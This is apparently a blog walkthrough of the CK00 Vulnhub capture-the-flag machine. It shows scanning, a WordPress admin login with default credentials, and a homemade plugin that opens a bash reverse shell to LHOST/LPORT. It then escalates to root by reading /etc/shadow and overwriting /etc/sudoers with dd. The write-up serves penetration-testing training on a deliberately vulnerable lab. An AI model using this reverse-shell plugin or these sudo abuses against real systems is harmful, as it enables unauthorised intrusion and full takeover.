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CK00: Vulnhub Walkthrough | Infosec Warrior CTF

I will share with you a new Walkthrough for Vulnhub machines. CK00: Vulnhub Walkthrough for the CTF Challenge Created by Vishal Biswas AKA Cyberknight. You can download here this CTF . It states the level is Easy and that is true. Again, this is in the eye of the beholder but I’ve seen some boxes where Easy isn’t exactly Easy. Or maybe it’s Easy but it’s a CTF style box. This isn’t that type of box. It’s just a poorly configured machine and it has either a few rabbit holes or a few steps I just skipped because you can. Either way, you explore a little if this is unfamiliar and that’s how you learn.

ck00 login

Penetration Testing Methodologies

Network Scan

  • Netdicover
  • Nmap


  • WordPress Enumeration
  • Local Hosts file entry


  • WordPress plugin php injection.

Privilege Escalation

  • Horizontal Privilege Escalation
  • wp-config.php
  • sudo -l

Network Scanning

So, as we always start with netdiscover to get the IP of the VM machine and the IP of the host I’ve found is

netdiscover -i vboxnet0

ck00 ip

Let’s proceed with network scan using Nmap aggressive scan as given below.

nmap -p- -sC -A -O

ck00 nmap


First thing we notice is port 80 is open and we see WordPress. When we check out the port in the browser.

ck00 wp

We can see from the malformed page that we need to add an entry into our hosts file. When we try to access the admin page, we see what name we need to use in our hosts file

vim /etc/hosts

ck00 host

Eureka !!!!!!!!!! It’s work and finally got wordpress.

ck00 web

Now when we attempt to access the admin page, with credential admin:admin

ck00 login


When I first started hacking and I came across a WordPress set, I would try all sorts of things to get PHP code into the site. Sometimes you can upload a shell as a plugin, sometimes you can upload a shell as media, both are intentional misconfigurations, and there are plugins that also allow for PHP.

You can just write your own Reverse Shell Plugin.  Save yourself some headaches, just make this, use it, and store it for later use.

touch rshell.php
vim rshell.php
 * Plugin Name: Reverse Shell Plugin
 * Plugin URI:
 * Description: Reverse Shell Plugin
 * Version: 1.0
 * Author: Dasagreeva
 * Author URI:
 exec("/bin/bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'");
zip rshell.php

ck00 shell

Once we get it zipped, we move to the WordPress UI. Under Plugins, we select Add New

ck00 plugin

We activate our plugin:

ck00 rv

We catch our shell. Yesssssssssssss………

nc -nlvp 1505

ck00 nc

Privilege Escalation

We look around for user flag and found it.

ck00 wwwdata

We then move to wpconfig.php file for credentials.

cat /var/www/html/wp-config.php

ck00 sql

got password bla_is_my_password

CK00: Vulnhub Walkthrough

Excellent! Here’s where we cut out a step or two. I saw a few things and maybe that’s how I’m supposed to get to bla1 but on a hunch, I guess the password is: bla1_is_my_password. I got ssh connection.

ssh bla1@

CK00: Vulnhub Walkthrough

Checking out my sudo privileges, I learn that I can execute /bin/rbash as the user ck-00 which essentially moves us into the next account.

sudo -u ck-00 /bin/rbash

CK00: Vulnhub Walkthrough

There is  sudo privileges as our new user.We can execute /bin/dd as root. dd  allows us to “convert and copy a file” and it’s used for backups. We can also use it to read and write files.We should be able to read the /etc/shadow file as root.

sudo dd if=/etc/shadow

CK00: Vulnhub Walkthrough

Excellent! We should also be able to write a new line into sudoers

CK00: Vulnhub Walkthrough

echo "ck-00 ALL=(ALL) NOPASSWD: ALL" | sudo dd of=/etc/sudoers

CK00: Vulnhub Walkthrough

root flag…..

CK00: Vulnhub Walkthrough

Conclusion: It was an easy CTF with some loop and really nice concepts. It was really helpful for beginners and people preparing for OSCP. Thank to Vishal Biswas AKA Cyberknight . I hope to see more challenges like this in the future.

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